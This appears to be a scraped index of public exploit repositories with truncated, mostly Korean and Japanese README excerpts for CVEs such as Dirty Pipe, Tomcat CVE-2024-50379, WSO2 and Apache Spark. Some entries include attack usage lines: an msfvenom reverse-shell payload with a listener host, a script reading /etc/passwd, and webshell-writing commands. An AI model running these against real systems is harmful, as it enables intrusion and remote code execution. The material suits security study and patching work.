DirtyPipe

Dirty Pipe エクスプロイト: CVE-2022-0847 Dirty Pipe 脆弱性（CVE-2022-0847）は、Linux カーネル内の重大な欠陥です。このリポジトリは、広く使用されているエクスプロイトコードの改変版を提供し、よりユーザーフレンドリーでモジュール化されたものにしています。 この脆弱性に関する非常に優れた解説は、HackTheBox ブログにあります。Max Kellermann による元のより詳細な解説は彼のブログにあります。...

CVE-2024-50379-exp

CVE-2024-50379-exp -t 조건 경쟁 시간 -u 도메인 이름 -f 웹쉘 쓰기 테스트 결과 첫 번째 조건 경쟁 시 웹쉘 쓰기가 실패할 확률이 매우 높으며, 다시 한 번 조건 경쟁을 수행해야 웹쉘이 쓰여지는 것을 발견했습니다. 따라서 스크립트는 먼저 고정된 6초 동안 조건 경쟁을 수행하여 쓰기 성공 여부를 확인하고, 실패할 경우 사용자 지정 또는 기본 10초로 다시 시도합니다. 생성된 웹쉘은 무작위 md5.jsp입니다. python .\CVE-2024-50379.py -u http://192.168.31.33:8888...

CVE-2022-0847-DirtyPipe-Exploits

CVE-2022-0847-DirtyPipe-Exploits Linux Dirty Pipe 취약점 악용을 지원하기 위해 침투 테스터와 레드 팀이 사용할 수 있는 익스플로잇 및 문서 모음입니다. 취약점 정보 Dirty PipeCVE-2022-0847는 Linux 커널의 로컬 권한 상승 취약점으로, 권한 없는 사용자가 다음을 수행할 수 있게 할 수 있습니다: /etc/passwd와 같은 임의의 읽기 전용 파일을 수정/덮어씁니다. 상승된 셸을 획득합니다. 영향을 받는 버전 5.8보다 새로운 Linux 커널 버전이 영향을 받습니다...

CVE-2022-0847-DirtyPipe-

CVE-2022-0847-DirtyPipe-Exploits ペネトレーションテスターやレッドチーム向けのエクスプロイトとドキュメントのコレクションで、Linux の Dirty Pipe 脆弱性の悪用を支援するために使用できます。 脆弱性について Dirty Pipe CVE-2022-0847 は Linux カーネルにおけるローカル権限昇格脆弱性であり、権限のないユーザーが以下のことを行える可能性があります: /etc/passwd などの任意の読み取り専用ファイルの変更/上書き。 昇格したシェルの取得。 影響を受けるバージョン 5.8 より新しい Linux...

CVE-2023-22047

Description: CVE-2023-22047은 Oracle PeopleSoft에서 인증 없이 파일을 읽을 수 있는 취약점입니다. 그러나 고급 익스플로잇 공격자는 이 취약점을 사용하여 원격 코드 실행을 수행할 수 있습니다. Peoplesoft 애플리케이션 "Portal.war"의 서블릿 "WSRP Consumer ResourceProxy"는 파일을 읽고 모든 호스트에 요청SSRF을 보낼 수 있는 기능을 제공합니다. 이 취약점을 통해 공격자는 영향을 받는 서버에서 쉽게 원격 코드 실행RCE을 달성할 수 있으며, 이는 실제...

CVE-2023-2825-Gitlab

CVE-2023-2825 2023년 5월 23일, GitLab은 CECommunity Edition 및 EEEnterprise Edition 16.0.0 버전에 영향을 주는 치명적인 취약점인 CVE-2023-2825를 수정한 16.0.1 버전을 출시했습니다. 이 취약점은 경로 탐색path traversal 버그를 통해 인증되지 않은 사용자가 임의의 파일을 읽을 수 있게 합니다. 버그 바운티 프로그램을 통해 HackerOne에서 pwnie에 의해 발견되었습니다. 이 글을 작성하는 시점에는 공개된 개념 증명proof of...

ActiveMQ_Crack

ActiveMQCrack 개요 ActiveMQ 시리즈 취약점 탐지 및 이용 도구입니다. ActiveMQ 기본 비밀번호 취약점 및 ActiveMQ 임의 파일 쓰기 취약점CVE-2016-3088을 포함하며, 일괄 탐지 및 이용을 지원합니다. 사용 방법 일괄 탐지: 파일에 한 줄씩 검사할 URL을 작성합니다. 매개변수 -TF로 파일 지정, -t로 동시 실행 수 설정 단일 대상 탐지: -T http://x.x.x.x 실행 결과 Yutu Security는 웹보안, 레드블루 대항전, 내부망 침투, 우회 기술, 보안 도구 시리즈 등 알찬...

CVE-2025-34040Exp

致远OA에 파일 업로드로 인한 RCE 취약점 CVE-2025-34040 매개변수 options: -h, --help show this help message and exit -u URL, --url URL 검사할 URL을 입력하세요 -f FILE, --file FILE 한 줄에 하나의 URL이 있는 파일 경로를 입력하세요 -n FILENAME, --filename FILENAME 파일 이름을 입력하세요 기본값: Hello.jsp: -c CONTENT, --content CONTENT 업로드할 파일 내용을 입력하세요 기본값:...

CVE-2018-11770

CVE-2018-11770 Apache Spark 비인증 리버스 셸 RCE 이 Metasploit 모듈에서 재작성된 Apache Spark용 독립형 Python 3 RCE 익스플로잇 익스플로잇 POC는 여기에서 설명합니다. 익스플로잇 코드 자체는 여기에서 설명합니다. Python 3.7에서 이 대상으로 테스트되었습니다. 사용법: root@Kali:/Infosec/RubyStuff/Apache-Spark-RCE msfvenom -p java/shellreversetcp LHOST=192.168.92.134 LPORT=4444 -...

Metabase_CVE-2021-41277

MetabaseCVE-2021-41277 설명 Metabase는 오픈 소스 데이터 분석 플랫폼입니다. 영향을 받는 버전에서는 사용자 지정 GeoJSON 지도관리자-설정-지도-사용자 지정 지도-지도 추가 지원과 잠재적인 로컬 파일 포함환경 변수 포함과 관련된 보안 문제가 발견되었습니다. URL이 로드되기 전에 검증되지 않았습니다. 이 문제는 새로운 유지보수 릴리스0.40.5 및 1.40.5와 그 이후의 모든 릴리스에서 수정되었습니다. 즉시 업그레이드할 수 없는 경우, 애플리케이션 앞에서 검증 필터를 제공하도록 리버스 프록시, 로...

asf__commons-io_CVE-2021-29425_2-6

Apache Commons IO Apache Commons IO 라이브러리에는 유틸리티 클래스, 스트림 구현, 파일 필터, 파일 비교기, 엔디언 변환 클래스 등이 포함되어 있습니다. 문서 더 자세한 정보는 Apache Commons IO 홈페이지에서 확인할 수 있습니다. JavaDoc을 열람할 수 있습니다. Apache Commons IO 사용과 관련된 질문은 사용자 메일링 리스트에 올려 주세요. 최신 릴리스는 어디서 받을 수 있나요? 소스와 바이너리는 다운로드 페이지에서 받을 수 있습니다. 또는 중앙 Maven 저장소에서 가...

CVE-2020-27955-LFS

Git-lfs 원격 코드 실행 RCE 익스플로잇 CVE-2020-27955 .bat / powershell 버전 취약 대상: git, GitHub CLI gh, GitHub Desktop, Visual Studio Code, SourceTree, SmartGit, GitKraken 등 Dawid Golunski 가 발견함 https://legalhackers.com https://exploitbox.io Windows에서 테스트 완료: git, GitHub CLI gh, GitHub Desktop, Visual Studio...

apache-httpd-path-traversal-checker

apache httpd path traversal checker 0x00 개요 20211005, apache httpd 2.4.49의 디렉터리 트래버설 취약점cve-2021-41773이 온라인에 공개되었으며, 임의 파일 읽기트래버설된 디렉터리에 접근이 허용된 경우, 예: Require all granted 설정 시, 기본적으로는 허용되지 않음 또는 명령 실행rce는 cgi를 활성화해야 하며, 기본적으로 cgi 모듈은 포함되지 않음을 유발할 수 있습니다. 20211008, 2.4.50의 디렉터리 트래버설...

CVE-2014-2383-LFI-to-RCE-Escalation

CVE-2014-2383 LFI/RFI RCE로의 권한 상승 테스트 환경: dompdf 0.6.0 - php 7.3.33 - apache 2.4.25 보안 평가 중 CVE-2014-2383의 존재가 발견되었습니다. 이 문서는 개념 증명PoC이며, 고객의 개인정보를 보호하기 위해 최초 발견 당시의 세부 사항은 포함하지 않습니다. 다만 이 문서의 내용은 해당 취약점이 악용된 환경을 모방합니다. 발견 https://github.com/projectdiscovery/nuclei CVE-2014-2383 세부 사항 A...

CVE-2024-4956

CVE-2024-4956 - Nexus Repository Manager 3 における認証なしのパストラバーサル Nexus Repository Manager は、開発に必要なアーティファクトを整理、保存、配布するリポジトリマネージャです。 Nexus Repository 3 の 3.68.1 より前のバージョンで、パストラバーサル脆弱性が発見されました。この脆弱性により、攻撃者は認証なしで、Nexus Repository アプリケーションのスコープ外のシステムファイルをダウンロードする URL を作成できます。これにより、機密性の高いシステムファイルが露出し、Nexus...

CVE-2025-53964

CVE-2025-53964 リスク評価 CVSS v3: AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L - 9.6/10 説明 GoldenDict 1.5.0 および 1.5.1 には、ユーザーが細工された辞書を追加し、 その辞書に含まれる任意の用語を検索すると、ファイルの読み取りおよび変更が可能になる、公開された危険なメソッドがあります。 追加情報 この製品は外部の主体との対話のためのインターフェースを提供します。GoldenDict ver. 1.5.0、1.5.1...

CVE-2021-33564

CVE-2021-33564 PoC CVE-2021-33564 Dragonfly Ruby Gem의 인수 주입에 대한 익스플로잇 스크립트. 사용법 임의 파일 읽기 python3 poc.py -u https:///system/refinery/images -r /etc/passwd 임의 파일 쓰기 python3 poc.py -u https:///system/refinery/images -w public/test.txt -c test.txt -lu http:// 자세한 내용은 블로그를 방문해 주세요...

CVE-2022-29464

CVE-2022-29464 WSO2에서 RCE로 이어지는 사전 인증 임의 파일 업로드 CVE 요약 CVE-2022-29464는 Orange Tsai가 발견한 WSO2의 RCE 취약점입니다. 인증되지 않은 임의 파일 업로드로 인해 공격자는 악성 JSP 파일을 업로드하여 코드를 실행할 수 있습니다. 영향을 받는 버전 WSO2 API Manager 2.2.0 - 4.0.0 WSO2 Identity Server 5.2.0 - 5.11.0 WSO2 Identity Server Analytics 5.4.0, 5.4.1, 5.5.0,...

nate158g-m-w-n-l-p-d-a-o-e

nate158g-m-w-n-l-p-d-a-o-e This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-frameworkclass MetasploitModule 'Wordpress Popular Posts Authenticated RCE', 'Description' = %q This exploit requires Metasploit to have a FQDN and the...

CVE-2019-2615

CVE-2019-2615 GET /beawlsmanagementinternal2/wlmanagement HTTP/1.1 Host: 192.168.5.137:7001 User-Agent: Mozilla/5.0 Windows NT 6.1; Win64; x64; rv:66.0 Gecko/20100101 Firefox/66.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/ ;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encodin...